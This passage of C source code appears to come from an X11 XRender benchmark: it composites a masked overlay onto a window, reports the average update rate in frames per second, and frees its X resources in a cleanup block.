		XRenderComposite(
			xDisplay,
			PictOpOver,
			xPictureOverlay,/* src */
			xPictureMask,	/* mask */
			xPictureWindow,	/* dst */
			0, 0,		/* src (x,y) */
			0, 0,		/* mask (x,y) */
			x,		/* dst x */
			y,		/* dst y */
			IMAGE_WIDTH,
			IMAGE_HEIGHT);
	}
	XSync(xDisplay, False);

	struct timeval timeEnd;
	gettimeofday(&timeEnd, NULL);
	double elapsedSec =
		getElapsedMicroseconds(&timeStart, &timeEnd) / 1000000L;
	double fps = numIterations / elapsedSec;
	printf("average update rate = %.1lf FPS\n", fps);

error:

	if (0 != gcMask)
	{
		XFreeGC(xDisplay, gcMask);
		gcMask = 0;
	}

	if (0 != xPictureMask)
	{
		XRenderFreePicture(xDisplay, xPictureMask);
		xPictureMask = 0;
	}

	if (0 != xPixmapMask)
	{
		XFreePixmap(xDisplay, xPixmapMask);
		xPixmapMask = 0;
	}

	if (0 != xPictureOverlay)
	{
		XRenderFreePicture(xDisplay, xPictureOverlay);
		xPictureOverlay = 0;
	}

	if (0 != xPixmapOverlay)
	{
		XFreePixmap(xDisplay, xPixmapOverlay);
		xPixmapOverlay = 0;
	}

	if (0 != xPictureMain)
	{
		XRenderFreePicture(xDisplay, xPictureMain);
		xPictureMain = 0;
	}

	if (0 != xPixmapMain)
	{
		XFreePixmap(xDisplay, xPixmapMain);
		xPixmapMain = 0;
	}

	if (0 != xPictureWindow)
	{
		XRenderFreePicture(xDisplay, xPictureWindow);
		xPictureWindow = 0;
	}

	if (0 != xWindow)
	{
		XDestroyWindow(xDisplay, xWindow);
		xWindow = 0;
	}

	if (NULL != xDisplay)
	{
		XCloseDisplay(xDisplay);
		xDisplay = NULL;
	}

	return returnCode;
}